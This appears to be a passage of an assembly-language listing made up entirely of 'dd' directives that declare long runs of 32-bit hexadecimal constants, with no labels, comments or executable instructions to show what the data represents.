		dd 2FA523BBh, 50C370E6h, 2287138Ah, 614C40C0h, 6F9071E4h
		dd 0D3D2DB4Bh, 0BD3322D1h, 0C2A5F0F4h, 0D0C40D4h, 0D95B9F05h
		dd 1ED78004h, 853D02AFh, 0C91B1A0Dh, 3B4135BDh,	9680E2F7h
		dd 0C82B1284h, 0B5168B60h, 5FFC2541h, 33851388h, 0C7A0499Dh
		dd 60D11A8Bh, 615E80FCh, 7CE96184h, 5A4C39F2h, 0B1852D61h
		dd 9553842Ch, 0CBBC022Dh, 31FA429Bh, 90F098Eh, 0BC17CD24h
		dd 4115C8CFh, 86B660FBh, 0FCD6BFB6h, 9414476h, 97AC509Dh
		dd 0E2B1325Bh, 132FAE5Eh, 2B9FCDD8h, 493DD120h,	319B0AC1h
		dd 71DA583h, 858D01FEh,	0FEF505h, 559D2365h, 0E0CA1C4Bh
		dd 0E7099A0Dh, 18124282h, 0C2BDD40Bh, 4671AD9Dh, 7000FB25h
		dd 750AE63Ch, 0EA1BF325h, 5E0AA509h, 68F8EC41h,	0E67A44Dh
		dd 160823B9h, 2FBCAFE9h, 0A1325990h, 2007F523h,	0E7D04F8h
		dd 26723012h, 823F9AF1h, 30D52933h, 5AF383h, 579D3BF0h
		dd 1D3FB9B6h, 0EDFA200h, 9563D742h, 0FC20286Ch,	0D29E09EEh
		dd 1D9C02Bh, 0C074650Fh, 7C7E5AD9h, 0E6200158h,	0F5E8C891h
		dd 92C17E38h, 0D6DD22Bh, 0A3A3D1B8h, 8209088Ah,	57158E30h
		dd 0B20089CEh, 4BD9FF8Fh, 0D8012Eh, 5BF7E65Eh, 5F6E8CF6h
		dd 2AEE70EBh, 7FCEAB12h, 0F6D6B4F6h, 0F9CAA03Fh, 5B52A89h
		dd 6D30A0ACh, 0B67C821Eh, 0C95E4540h, 0F4E1007Dh, 5F12DCABh
		dd 4B12CE60h, 9FF20925h, 850FDB4Ah, 0D3F283A1h,	9263F00h
		dd 4DC455E3h, 32C59C00h, 5B8161C2h, 0EB8E26E8h,	0E4CB026Ch
		dd 31EA5FD3h, 0C4A4C573h, 0A4EB3ED6h, 2CE98009h, 35A7CF7Bh
		dd 3FD1025Dh, 125D8BA5h, 56BF5CE2h, 0E72531DCh,	347D1CA0h
		dd 0D16EFB02h, 9C036300h, 0C860FA3h, 41AB7995h,	35359D2Bh
		dd 96252E90h, 60371CBFh, 97AECE95h, 8742F0CDh, 4101544Fh
		dd 0DC54653Dh, 2B1DFF11h, 0E11502EBh, 0E6A60010h, 9342B20Fh
		dd 8E412525h, 6E0B80E5h, 0D0207B04h, 35009F5Eh,	682DBFABh
		dd 25594811h, 9EE5DD8Ah, 75045509h, 6700D03Dh, 0AA3E88B8h
		dd 1DA1179Fh, 0C43CA8E4h, 0C4BC14B3h, 6525E6A3h, 0AB760h
		dd 178EFCD3h, 50265B49h, 43097F34h, 0F1F6023Bh,	0BCF50424h
		dd 0BC1D49EAh, 0C5574B0Bh, 0B83CADE4h, 50DD251Bh, 47B9B2E3h
		dd 19056099h, 482E2141h, 0F89238E8h, 0FA51EAB3h, 0B294352Eh
		dd 0AB1A00A3h, 0F38F768Ah, 61BB05E5h, 898D3178h, 188C7E9Ah
		dd 0D9BB01BDh, 0B750869Fh, 7966FA77h, 6CBC3Fh, 0D75CD0AAh
		dd 5381D4Dh, 4BF913CCh,	0A8B20Eh, 41560839h, 54535D9h
		dd 0E796E1CFh, 4C7AC71h, 141D8D89h, 0BB43CAFh, 96F588h
		dd 0B1013993h, 34269065h, 0F3400C4Eh, 0B8BE6050h, 6D1D3749h
		dd 0F74E410Ch, 0C37C5006h, 0A80077E4h, 0D1B34292h, 0E3619134h
		dd 50DC462Bh, 25F14C8Ah, 0C06007DDh, 461B3EDBh,	6100A87Fh
		dd 0BBF2A698h, 0F81BFC4h, 5F32F30Dh, 0FF0624B2h, 80595327h
		dd 0BCCB0BFh, 87C8B16Ah, 0F0DF6CDAh, 0CA353CA2h, 1F3E7700h
		dd 0A39A3484h, 0D7DB0187h, 0B3585BC2h, 7F642B01h, 0DE4FACB8h
		dd 925C8054h, 4541F0Eh,	347497Bh, 123AED9Dh, 0E3BDBAE9h
		dd 59A8F05Eh, 0B5EC0341h, 0F51F4545h, 0A45ECED0h, 4A468966h
		dd 0EFAA4205h, 0AF5EC329h, 5ECFB3C2h, 34DCC9A7h, 363B5CDCh
		dd 6517A31Fh, 0C573D809h, 50C8DBA7h, 4C75CCE3h,	0E2279701h
		dd 6CB70689h, 0B669753Bh, 4F07A04Ch, 536E1365h,	468CA018h
		dd 0DD20044Fh, 270BB4Eh, 96F810A0h, 47796052h, 6E46403h
		dd 0CDD288C4h, 58CF2F1Bh, 6900A0D1h, 4979305Bh,	9D5F0025h
		dd 0E568F153h, 0BC1E7C42h, 2E7613Eh, 0B796D9DEh, 0BA02BEB5h
		dd 0CE62566h, 0F068A35Eh, 9DE71D02h, 0A4DA4532h, 0E11909A4h
		dd 88F8A804h, 7BAA60AFh, 5DA41A57h, 8C0F7601h, 0CE55C20Ch
		dd 0D281F831h, 9288E80Bh, 7317FE0Bh, 80AB9E54h,	1FD3841Ch
		dd 0F97006C3h, 7DC40500h, 83BB8F4Eh, 48587425h,	6E25BEBAh
		dd 0BF027EE6h, 229E50C2h, 0B0C67D90h, 0F3753297h, 0B6CF5073h
		dd 0D9C42100h, 5999D381h, 0E86049D5h, 0BFBD2B84h, 666133D2h
		dd 527E3C9Ah, 24FC7100h, 0BB40B714h, 0A64F7212h, 6FD656F2h
		dd 562E09C1h, 4594711Fh, 50AE233Ah, 0D1BD0B4Eh,	0B60198B8h
		dd 19229C34h, 0C62D060Dh, 0C72D75C6h, 0E8B52EEDh, 0E0833A2Eh
		dd 5810DBFh, 0E38010F3h, 6919C1CBh, 0F4CE2B14h,	0B3292F22h
		dd 2066B72Ch, 0C476BC1Fh, 41FE628Dh, 0CC14258Ah, 4B03DC30h
		dd 78F75D43h, 2012E221h, 0EE143D7Dh, 9645C200h,	5D2238E3h
		dd 61E10240h, 92111266h, 315C59C2h, 41FA6FA7h, 2E581D2Dh
		dd 52B95F12h, 0A50022ECh, 89D4106Ch, 9706E195h,	96F90AB8h
		dd 0FFEBBF00h, 8B500DA2h, 0DF69F3DEh, 71007BB8h, 0D84ACAF6h
		dd 0BFBD49E1h, 68A45390h, 6B8A3E00h, 0B5876DFDh, 0C0B21E75h
		dd 9AAB847Eh, 2E59F150h, 2E05E862h, 664F3201h, 7D0A20E0h
		dd 7325E9B6h, 28E08B7h,	9E23EFA6h, 0DF60EF24h, 0FDA791h
		dd 0CF8BA071h, 798B857h, 0CB7F4809h, 0ADEA71B5h, 5A65DE10h
		dd 0AABFB20Eh, 71B38906h, 31BFABD5h, 4119D9Ch, 0F65B0CB7h
		dd 68D0A012h, 820F24DAh, 64184940h, 0FE008083h,	0C2EB6B18h
		dd 7FB96020h, 842E4BB1h, 0C1ABDBDEh, 67785D0Ah,	902576DDh
		dd 0FCD062Bh, 4CBD9C8Fh, 0AE120074h, 0C48D54D9h, 0B42DAAC5h
		dd 400B50E3h, 1A975F2Fh, 83961C4h, 28105313h, 5B25299Dh
		dd 0BB4CB4C6h, 7DE209E7h, 78C4536Ah, 5259BAF2h,	0AC994A32h
		dd 5B65D103h, 66B53179h, 968FF4BBh, 0E53A506Eh,	5885E61Ch
		dd 0BA76130h, 0EA1800C7h, 0ADD61F80h, 4607B24Bh, 0DFCA891h
		dd 176C5271h, 0F33C7165h, 0CFF75Fh, 0ACF5F4FBh,	3FDB7DEBh
		dd 27005DD5h, 2FCA9DD4h, 0ED95969Ah, 3661CEE7h,	2E72DE6Eh
		dd 0DAEACD74h, 0D2F580D8h, 25CA5ED4h, 0C5CA8722h, 924002EFh
		dd 13DE4ECAh, 0B2268152h, 0F83C008Fh, 0F3B73D9Eh, 618604ADh
		dd 0A2D99D5Dh, 31190FE8h, 0B76240BCh, 1EB230CEh, 3A14A4Dh
		dd 0FAB37DD3h, 82600992h, 0B89A5195h, 44121497h, 6050503Bh
		dd 8B8802CBh, 79F7A2C7h, 909D0087h, 83DBA38Eh, 3250500h
		dd 0D975C2BEh, 5E0B27C1h, 0BF100C70h, 61257E72h, 0D78114E0h
		dd 501ECE04h, 61FC573Eh, 62F3E6D2h, 571ED91Ah, 0B529D4B8h
		dd 0E030A8BFh, 41746DCh, 25CA73D4h, 37452EECh, 0BEEA542Bh
		dd 4A4CB94Eh, 7A34D1CAh, 0ED6EEF4Dh, 2B930804h,	0CAB4128Bh
		dd 7FEE95F8h, 0D13595h,	0F2A20EFFh, 0F45A757Fh,	802940F0h
		dd 0D5F8D01h, 73C68A09h, 0F902D0DEh, 25059697h,	7D783FE9h
		dd 4778E393h, 3A1C909Bh, 8954F18Dh, 0DBB795C1h,	72D9A609h
		dd 60C8AFB0h, 0F4E3B2D6h, 0FCAA9D04h, 0B64113E9h, 0E863F092h
		dd 320005BEh, 684EAC02h, 2E957138h, 16CD4C42h, 0C6013050h
		dd 69017E11h, 83A7C730h, 2D3C38F1h, 0C56BF280h,	0E302EE57h
		dd 0A24A5490h, 3862C6D6h, 80018EEFh, 0D4936355h, 0B05BF899h
		dd 4A5F2B3Ah, 0C9BBC690h, 2F06B1AFh, 8280DD58h,	0E74B9936h
		dd 4DF042B6h, 7890F778h, 2D66E597h, 709D2B44h, 95F9010Ch
		dd 1A752DBAh, 21B46A4Bh, 21D1279Dh, 530DAE44h, 546090AFh
		dd 0DE2C3273h, 87D86B21h, 0C4EB9500h, 9F99820Bh, 6240046h
		dd 847A7304h, 75020A21h
		dd 0DC8A5061h, 9E24090h, 0B70F8033h, 80F0FB61h,	442F39EFh
		dd 0FE05C580h, 4D728360h, 6E58128Ah, 7AC9E3C8h,	0B68CFE4Bh
		dd 31BD2501h, 0D19657F6h, 8105D208h, 0D6B913BFh, 3D4F3073h
		dd 6EF3195Ah, 0A75F789Eh, 0AA4CA14Ah, 1D3E9F40h, 0F64A5AE1h
		dd 0A89C5D6Bh, 99312D4Ch, 58CBE590h, 0A5A7C90Eh, 0BD87451Fh
		dd 0CB1C0384h, 53BBC892h, 0E2DFE601h, 8921EEF0h, 382EE4F6h
		dd 994040B1h, 3D62B533h, 8C2E1F6h, 0F0B8DDEFh, 8D5ABAF5h
		dd 7780ABDBh, 35304701h, 0FCEE6612h, 0DAD3A2BDh, 33408070h
		dd 134E5C19h, 0F9C165D8h, 0EDBC02Dh, 1BB9022h, 48C8AD61h
		dd 0E6D98B50h, 48DC6054h, 0FE2D06AFh, 0F3497B79h, 0D24E5036h
		dd 60199F00h, 621142F8h, 4BB4DF50h, 6E5E3CDDh, 664D575Ah
		dd 0E5E3924Fh, 0CACB8100h, 6A11FB4Fh, 0F08F26FBh, 9F66EBB7h
		dd 9AFED92Bh, 70B27BA7h, 71245A9Ah, 40091C87h, 8EE73C6h
		dd 0B30B011Ah, 3F305E4Bh, 784359B8h, 122C3121h,	0FFB23056h
		dd 7D01E6B4h, 9FDC2628h, 492E5BA3h, 0AF94EEF5h,	501CE300h
		dd 43EAAD8Fh, 30200132h, 2F61E8F4h, 3012F0Bh, 17B1BD2Bh
		dd 0A12B601Dh, 0BC11F44h, 66C68A60h, 75C9B62h, 16598D84h
		dd 7E950931h, 0C82BC640h, 4B79B589h, 21FB8906h,	0DA582FB2h
		dd 3461F84Eh, 957791E9h, 1E33AEBBh, 0DC21B231h,	59DC4B02h
		dd 705E0949h, 0FEDA603h, 3750B4C1h, 0E676AAB6h,	482FE12Ah
		dd 0BD421C09h, 701CF211h, 0B8D98A4Eh, 0C5545100h, 4D47DBAh
		dd 1A0F5E53h, 0E9CCFA61h, 0F59D2623h, 12C5A5D3h, 0DF815100h
		dd 0A977E7Bh, 0A5835F6Ch, 0B3FE051Dh, 6BF711A1h, 3E04A64Eh
		dd 12CA4BDDh, 5F139F10h, 45814A9Bh, 30D4BEBDh, 1641318Eh
		dd 3907D72Ah, 86A80179h, 844B912h, 171A7AABh, 0FA14B815h
		dd 25951033h, 0F4C25B25h, 39418DFh, 31A520BDh, 0D6DB3EFBh
		dd 8777D980h, 8B5B0F7Fh, 0DB170AA3h, 0D3BD30FFh, 493D7369h
		dd 6A410CEFh, 436CB0h, 31F9891Ah, 2B825E1Ch, 4B3CC061h
		dd 24C2BA4Fh, 0F0CBB8FCh, 0D699BD09h, 3BA40FC1h, 9F880DC5h
		dd 0E0D185D8h, 178908C1h, 0F8CE733Dh, 160E332h,	5DA2EF81h
		dd 2B2E7C43h, 0C1894B42h, 355C5F0h, 78EC9BD6h, 0CC715F50h
		dd 508E1F4Bh, 0A8BD9A2Dh, 0E83FDE80h, 29863A02h, 80CCB7F0h
		dd 0F16E765h, 0FE03C162h, 41CA276Fh, 850188C5h,	0EEA6393Ch
		dd 0C42C88CFh, 1EF0B700h, 0DE112697h, 0A9DF1C33h, 705E78B8h
		dd 68030FACh, 2DC09700h, 775196D3h, 4EA778Fh, 3E187B25h
		dd 0D37CB93Ah, 0BF80C9DAh, 7D6CA03Ch, 0B226660Bh, 0E1272713h
		dd 0B45CC48Fh, 0DDA26DB8h, 0D4FF541Ah, 12863C00h, 2B5DCF71h
		dd 5AA39211h, 9328F316h, 26B31CBEh, 0EA9FDE1Ch,	5634C28Dh
		dd 2F5E5164h, 0AFB039B7h, 933F845Ch, 87D105E7h,	1E812729h
		dd 600233D5h, 0D1AC625Ch, 0E60D00DEh, 627E68E4h, 5700695Ah
		dd 5F0BD780h, 25D498BBh, 72C2273Eh, 27EE4DDh, 641CF711h
		dd 0E081F48Ch, 2E5B41F5h, 82625848h, 0A7DA8060h, 12B1D441h
		dd 0E9BA5461h, 5A50967Bh, 7C7B9F6Ch, 5E32CD89h,	35DD5A1Dh
		dd 0B9BE0089h, 0A558E777h, 98BEA00h, 371DBF90h,	502028ABh
		dd 1A191E9h, 5F5B5251h,	80276890h, 7FAA9EAFh, 79D903FDh
		dd 0B3F3730h, 0AE940595h, 5E84BAD2h, 7E6FBBh, 0A2F768BCh
		dd 2D577680h, 9DA9880Fh, 0E00EF44h, 79EDA472h, 0F23846Ch
		dd 35DE3B9Bh, 60319E47h, 2537662Ch, 9667A9Dh, 769FA108h
		dd 0CF7FEC58h, 0AD16EE95h, 77695Bh, 9F31BAE5h, 13C09AEh
		dd 64D68BDEh, 60AF5645h, 3E98C879h, 4AFC4C4Ch, 6FAB81D4h
		dd 4B097ABBh, 5701FBE9h, 94058CBDh, 19A1038Bh, 0E98B172Ah
		dd 70FDBD7Eh, 880DBB60h, 9F00B960h, 11FF33Eh, 9209198Dh
		dd 0A7A9958Dh, 0F4BB7Ch, 3AE10BB9h, 363EFCE3h, 15BAB350h
		dd 16381941h, 0B2926B58h, 0BC1C49D3h, 0D3CC9F8Eh, 2DFC1BDh
		dd 33617117h, 77F57DBDh, 53E23A97h, 3230509Fh, 13681F00h
		dd 3E9D2075h, 0E31DE689h, 62554BBh, 1664E8CDh, 9980A60h
		dd 999D2B17h, 0C2EF3684h, 180C1B68h, 710467F1h,	0D2185B46h
		dd 0BD002258h, 1AAA4B25h, 0DA2F8Ah, 5DE39123h, 0B0927657h
		dd 50582Fh, 0FF88BECh, 99BB0531h, 0EF5397CFh, 59C85F14h
		dd 0DA62BDF1h, 418DF340h, 359C7A1Ah, 2B324111h,	4368F630h
		dd 0DBCE2D44h, 0BC16E278h, 1EEE50BFh, 0BD3152C1h, 8A90C124h
		dd 6F2E50FEh, 5EB5099Ah, 149889F9h, 0FEED9533h,	8D0FCF41h
		dd 0DF817140h, 567E09AAh, 0DCED614Bh, 1F0C87C1h, 0FB114230h
		dd 0AEC9563Ah, 0CEB2B452h, 80F6A8D2h, 2C78BC76h, 16FB000Dh
		dd 7441CB3Bh, 6E015D38h, 311ECF81h, 282E3393h, 3DB74D12h
		dd 0E3A782E8h, 80FDB51Bh, 0E9D07DB5h, 0ED20D33Fh, 9311BC22h
		dd 0DF8B09E6h, 2FD7DC71h, 1F4129D8h, 4B7DF860h,	22DA8E1Eh
		dd 9AB945h, 0C54C5C37h,	8745EE2h, 52CBD60Ah, 2758D7ECh
		dd 0B14F9F04h, 997EC141h, 2595826Ah, 91623755h,	0B4B28615h
		dd 19F52252h, 77FC9295h, 4515885h, 92B6D8Eh, 0D6485C5Bh
		dd 0F3001846h, 0E2A867EEh, 0D874F0BFh, 0E88D424Bh, 2B65303Ah
		dd 0CC00DC2Dh, 23B35497h, 149AFF8h, 0F963DB43h,	7AFE8B96h
		dd 477E8C30h, 0F0520027h, 382C95A3h, 11270AA5h,	705D5B96h
		dd 505BB192h, 10A534C1h, 14986A07h, 0F8A5C128h,	5578808Bh
		dd 0E5628Bh, 125AC534h,	5EFECEFDh, 0ED79CC13h, 24CD910Bh
		dd 2BC5B70h, 112B6D0h, 0DEFDB929h, 1155BD44h, 0EDB74AEh
		dd 0B93225DEh, 9CA6D2BFh, 0C0FA4EE1h, 0FB2DC2BCh, 2D0FC59Dh
		dd 0C283F8E0h, 79C25BBDh, 0B407F40Ah, 4A88CE4Eh, 96400FFCh
		dd 805FEA30h, 239F5C98h, 75065144h, 19C8F836h, 2FB520E8h
		dd 205064C4h, 0FFC2A39Bh, 3AE04748h, 0BDB4C7B7h, 49850902h
		dd 0A4B9D72Dh, 0C28C2A57h, 2FEF1C81h, 5F634D1Eh, 28E52A92h
		dd 9EFF532Bh, 78B083E9h, 55542D40h, 0B7759ECAh,	6F5481B7h
		dd 20F80B5Dh, 2E483927h, 0F891A455h, 202EDF54h,	11AD141Dh
		dd 58619B1Eh, 28E9F480h, 1715A9D2h, 3223A1D9h, 1BF95F60h
		dd 0AD97EADh, 4072BEDh,	0E251D8Dh, 0F502261h, 2D85182h
		dd 60C46AAh, 48F859E9h,	520E564Ch, 525B5F53h, 0F525DBE3h
		dd 511C8AC5h, 15F95E38h, 3A04BEBCh, 0F58FA84Ah,	0D98174D3h
		dd 1F81C6Ch, 0FD8A0396h, 4CB56050h, 97F9A89Dh, 1C8013E2h
		dd 59F0DEBCh, 32109B9Fh, 0DB5A96FAh, 0F174B8D7h, 1E248505h
		dd 54348E60h, 658400FEh, 0C5E47935h, 0CF0B310Ah, 0D88A321Dh
		dd 852B4156h, 21A5BDE6h, 6A4A078Eh, 283FBEh, 5C7405F0h
		dd 4BA2655Bh, 9DBC9897h, 0EB1AF921h, 56251676h,	182FDE74h
		dd 8311105Ah, 1CB33F1Fh, 8245760Fh, 0B9E220Ah, 475E1461h
		dd 0DA35FD5Ah, 0D8276D00h, 3DE61594h, 0D225193Ch, 9C91876h
		dd 0D70A2905h, 1811F11Fh, 65D11280h, 0CF95DCF0h, 601764D3h
		dd 28765EEh, 5BF852FDh,	0F05C2CE9h, 8B82D024h, 0F29529C1h
		dd 0B8BA95A0h, 80BD9635h, 0CF73A7B7h, 2D06AFh, 0BBFCCA89h
		dd 5103260Eh, 8D0B6016h, 90618A21h, 1EEEB36Fh, 0F4404350h
		dd 5657DA88h, 0F6F0905Bh, 0A5050FBFh, 89E12132h, 3704099Dh
		dd 0F933F37Dh, 3E8CA668h, 49FA09B3h, 0EDE7A925h, 3BECE035h
		dd 522F2D59h, 58D840Eh,	0C23BDBEBh, 5FA2F1ADh, 31DFD84h
		dd 93BB6690h, 145022AEh, 0CFE05E7Eh, 0EC2AF200h, 0B96D6719h
		dd 616C2E04h, 2DF10278h
		dd 386415BAh, 98BF660Bh, 0FDDCBEh, 43F78190h, 537EDC95h
		dd 0AE7FF3EEh, 0BD33B6C5h, 35D88DEBh, 0E2C86FABh, 2B1641FDh
		dd 92BFB930h, 64C825FEh, 19597273h, 0EE02CC18h,	0FBF1844Ah
		dd 0FA127589h, 905FF02h, 8642E35Ch, 9912804h, 0DC7145ABh
		dd 9CF9BA45h, 0B34B73ECh, 7380D39Eh, 14E92EFCh,	13328F88h
		dd 0FE728794h, 3588D520h, 0C54B1E2Eh, 0FB92C277h, 905550CDh
		dd 0E2C38AFDh, 7C1503CAh, 1A732439h, 4A04B63Bh,	11BC89BDh
		dd 0EE33BF02h, 4187B0A7h, 45209C05h, 64799551h,	27694854h
		dd 775EB01h, 2F0CCAE9h,	4153132Ch, 0D72C84A9h, 3ADBDCE4h
		dd 2CE70BC0h, 1205EA72h, 7C8B4FADh, 23F030EFh, 22416DBDh
		dd 230E6B2Eh, 931B0415h, 5448FAFCh, 0E4B88008h,	12FE3A0Ah
		dd 535D1913h, 0F2245E13h, 0AC38D551h, 0A6BB50EEh, 0E96122Bh
		dd 0B0D6B973h, 0B5D9B70Fh, 79ADA7EEh, 6AC16361h, 0F01BB63Bh
		dd 86BD5F1h, 6E84E76h, 5EF2D97h, 84AC1F9Fh, 245BE3Eh, 22EA05CDh
		dd 5B0918FAh, 622211D7h, 6331122h, 9D3B10B0h, 17E6406Dh
		dd 0EC71E470h, 8475C083h, 9A8724Ah, 9A766FC7h, 89470300h
		dd 6BC42D95h, 0DFB9F55Fh, 3D0785D4h, 0C42F0368h, 84FCBD80h
		dd 0DCB87FD4h, 77CF1061h, 0DB242E46h, 95C184A4h, 90DFF012h
		dd 970F6A81h, 0BD2BDD00h, 0B0862FD1h, 307120CFh, 5104C8FEh
		dd 14DD8D31h, 16D1A6E4h, 889BE9F8h, 7A94C1B5h, 0A53972ACh
		dd 0FD10320Fh, 4401AE64h, 67C34E69h, 0E08988E7h, 0C57E2C56h
		dd 29E26025h, 1179258Dh, 6231E571h, 8C2B14FDh, 0B8971FE5h
		dd 0E943E71h, 0F59E8063h, 0EFF15040h, 0B7054DA1h, 43E99003h
		dd 980F9CA2h, 0EB96646Eh, 25661536h, 0DFC7265Dh, 15291E31h
		dd 1B84A512h, 0D936F0FEh, 0B75FB3C5h, 91950DC2h, 0CCF08183h
		dd 4B1A25B8h, 5320DFCCh, 8509121Dh, 0E7A1C5DDh,	45F5A097h
		dd 0E9CE5BB7h, 0ADAD7B8h, 0B10DB280h, 0D3090739h, 2DFB3B0h
		dd 792FC579h, 0CBB909B1h, 9B752C2Bh, 0A52816D5h, 937BBD33h
		dd 41B1DFE6h, 0DF6A8BD8h, 0C0A0CDFCh, 51A077CCh, 9A6B5906h
		dd 299E0590h, 3BF72E9Dh, 134B5BC9h, 77AAB83h, 0D7163F00h
		dd 0C72EB997h, 610BC52Eh, 21227789h, 52D882CEh,	9B97A70h
		dd 0D22B5F99h, 2AB77Fh,	0A7B5E98Bh, 0E2491701h,	0A0E8928Dh
		dd 5E4B8F4Bh, 25304F08h, 0E200EED1h, 0FE84194Bh, 6E5B5EF9h
		dd 96E95AC5h, 95BD2905h, 0AF65AF10h, 564E9AECh,	0BD7BF9C7h
		dd 20E2D97Ah, 12613951h, 872BBFF7h, 9B81352Fh, 13DAC044h
		dd 129FBAAFh, 0B8DDBBB1h, 4069BCE0h, 0F94B8A2Dh, 422292CAh
		dd 15E32A6h, 0B94A4BB2h, 0BF1CAD5Fh, 0BDF604AAh, 0A3880F51h
		dd 25A7063Fh, 71A2E1FFh, 60799511h, 826F90C6h, 5C9A42A3h
		dd 0AD9A5115h, 9DCBE423h, 1112365Bh, 4A8901F2h,	9E4ABD57h
		dd 199D0010h, 76AE3916h, 0F532CB0Fh, 0D8AD4931h, 0C8605A82h
		dd 2B00A186h, 4326A925h, 5AD40C8Eh, 205DF5A0h, 6B12FEBDh
		dd 0EAE15073h, 97F08826h, 2C058DACh, 0DE782ED0h, 5597C1FBh
		dd 5C8D2B17h, 0D8257BFEh, 0E8227FE4h, 94E70008h, 0BFC8EEFAh
		dd 0E3A06E60h, 5F802C21h, 0A53B09BBh, 15B5694h,	0D693A4h
		dd 0DB1D2E2Fh, 0BCF261B5h, 91BBD402h, 5E399F43h, 8BA6A2Fh
		dd 0EA2F26A9h, 0DC1B5F24h, 0DAC07E4Eh, 3B87E468h, 26A510DEh
		dd 841BBAC0h, 8A25C179h, 0E50071DDh, 7FC8BF29h,	0F9AA5AE9h
		dd 0E5C8ED4Ch, 0D36100E4h, 31FCFA6Ah, 0FC9E0DBDh, 0C9726625h
		dd 4571D9BCh, 0A61566A5h, 43440533h, 80700564h,	98DA62F9h
		dd 7D49179Eh, 3360C3B2h, 5B801BB9h, 0E6F95A5Fh,	3018B2ADh
		dd 0EB0B2394h, 1F8611Ah, 0F5D380B7h, 274DFF4Ah,	960216ACh
		dd 7DA17FBEh, 2F25649h,	0AED9D03h, 6CD8F599h, 0F49B4E7Ch
		dd 56974E80h, 0CE3C10A6h, 60E65A3Bh, 5BF1BB00h,	0DEAB3F68h
		dd 1056DD4Fh, 728B5C8h,	0EC737686h, 3ECBA0B0h, 0CA3C4C0Bh
		dd 23C785F8h, 63B38E2Ch, 0A8065B34h, 4C03CEFh, 858D2240h
		dd 9C7EFBh, 9517072h, 300FD4h, 0B8BBB70Dh, 904DA114h, 5375609Dh
		dd 0C673955Bh, 3F71E578h, 0B60A62B8h, 13C3BF38h, 0B6785225h
		dd 301AB21Dh, 0A3004C92h, 0CAB5DA51h, 95D88A61h, 6DA7BD67h
		dd 2DFB4077h, 634FD86Ch, 8A4AE3B9h, 6F402D23h, 0F29664F3h
		dd 0AE47005Bh, 2F567EF4h, 0A55A0076h, 0D05BC954h, 66076A67h
		dd 0ECE94015h, 90332126h, 13292533h, 9DDC959h, 1957890Fh
		dd 9B6AFA5Eh, 0B92280A3h, 5A077203h, 4ACCB8C2h,	7152DFD2h
		dd 2283000Ch, 6492886h,	0C55B9725h, 4F181120h, 2F251CE8h
		dd 570E55Eh, 0D8239304h, 0FB9DF7C2h, 8060020Dh,	0B0DD08EEh
		dd 0BE61D179h, 1946D61Bh, 865DE001h, 30856891h,	64B09D9h
		dd 5939269Dh, 6E00DDB8h, 0F8C0E2BFh, 0B0505248h, 13A1209Eh
		dd 0F5B5F0Ah, 1027478Dh, 189F9A14h, 86F3DE51h, 0EF1CF72Ah
		dd 0BBA8B017h, 0C71A2D25h, 99352F66h, 49B62700h, 48E858B4h
		dd 4A094D65h, 6871F98Ah, 10DA5EA5h, 52F8252Dh, 900698D0h
		dd 0AFDB9FB4h, 3B9DBB04h, 0B7C002AAh, 0D0B396ACh, 1B050FF8h
		dd 1CE6534Ah, 66FEB714h, 3ED6A396h, 5FDE9251h, 0F75A1BE3h
		dd 0C5E925E9h, 0EC8C3121h, 0D4DA6AE4h, 3DC01AC8h, 17EE0E93h
		dd 0A82FD394h, 4C213B0h, 2A09EF6Fh, 0EB81A1F1h,	7FD3D158h
		dd 0BCC42DB1h, 0C0A9739h, 0FBF6DE63h, 7B5B2A0Bh, 4BA878A6h
		dd 52089C06h, 41B53112h, 0FBB5FBACh, 0F500806Eh, 501008A3h
		dd 0E3048193h, 2052C492h, 760D5482h, 0A96A13BAh, 53BCD2h
		dd 0E418F163h, 3E8E456Ah, 47DC504Ah, 9F0A92EDh,	1B64DB4Dh
		dd 507A1760h, 0A587DD05h, 0CCBB293Fh, 0F700815Ch, 43779A7Fh
		dd 9A0BF96h, 5018197Eh,	0F94A9358h, 18B21BB6h, 0EA753330h
		dd 8B471289h, 0D5FBADFBh, 0F42AAD5Ch, 0AB28B58Eh, 2125963Fh
		dd 0C7D1592Dh, 39730B63h, 0E4CD93D1h, 25BE7CF0h, 0C0596385h
		dd 0EF77BF81h, 9C401C5Eh, 5B322B7Bh, 0E02EF049h, 4D95247Bh
		dd 0E180C120h, 18806C21h, 0CD743CAFh, 914DB711h, 62601DE4h
		dd 963AB8C5h, 17260698h, 25B2A3B1h, 7CC67F11h, 9D919495h
		dd 999AA7D0h, 59B15B95h, 0F32F1919h, 0C07C58FCh, 24C1087Ah
		dd 0ECD1273Bh, 1CC5D27Eh, 0E7B571C0h, 721497A6h, 0F8BE2B5Dh
		dd 5C1A977Dh, 29022B56h, 0D50259BDh, 0D8B7E49Eh, 0E9DA07C9h
		dd 19FFF41Eh, 0FAE7D054h, 0C381C120h, 4A727FF8h, 3EF9CD1Bh
		dd 719C3320h, 0CBCA1CD1h, 84128016h, 941A6F9h, 6FF2644Bh
		dd 256512Dh, 22BF5B64h,	0B72BFB77h, 0FBC7009Ch,	19AC6320h
		dd 0F544A766h, 0B81E0AA8h, 0DEA90AE7h, 0CAC46B4Ah, 0C0E0DAA6h
		dd 6E09CBE2h, 14BC119h,	789498A8h, 0B05F5D36h, 5081206Eh
		dd 0BB83607Bh, 0DE9CBDCBh, 0CB09600Eh, 0BA8A6049h, 16F87910h
		dd 0BD6A612Ah, 3CEBC17h, 5D8F80FAh, 10B1BE6Bh, 0D14E20F2h
		dd 0D378F897h, 5C6BAB56h, 9B051423h, 5DBB8D29h,	55858BE2h
		dd 0F954CFC2h, 64C55165h, 5B094DF9h, 1657D1FFh,	9FC47010h
		dd 9F4169CFh, 3126026Ah, 6A46B7F1h, 6820A789h, 20304149h
		dd 17123A72h, 2EB0140h,	500B5FF9h, 0EA40BEDEh, 0FC021C15h
		dd 6C98BD3Dh, 4D97905Fh, 98D6CB24h, 69024F2Ch, 0CD1F2C2Eh
		dd 6016C4B1h, 273C7B79h, 79E46052h, 8730A900h, 0B83829DEh
		dd 13DB3B93h, 20C9DA6h,	0C4E95B61h, 2870D556h, 0D78080B8h
		dd 9BFD5F4Ah, 9F3DBEB8h, 66082555h, 662B7C2h, 40E002DDh
		dd 8A91482Eh, 0DE1AC9D9h, 0BB01775Bh, 4113905Eh, 0A77C532Bh
		dd 7E14B0EDh, 1E1B1776h, 8073A328h, 9F8B50B8h, 0F46D0058h
		dd 6291A0B7h, 0CD1E24E3h, 0CADF7E2Dh, 0B9B681D2h, 0EC3114B2h
		dd 8A0E2530h, 5381055h,	223E0750h, 3190D873h, 5BFF6A46h
		dd 0A91CC0C1h, 90FA85CFh, 0D15D0B73h, 0A9091635h, 5D8CABFDh
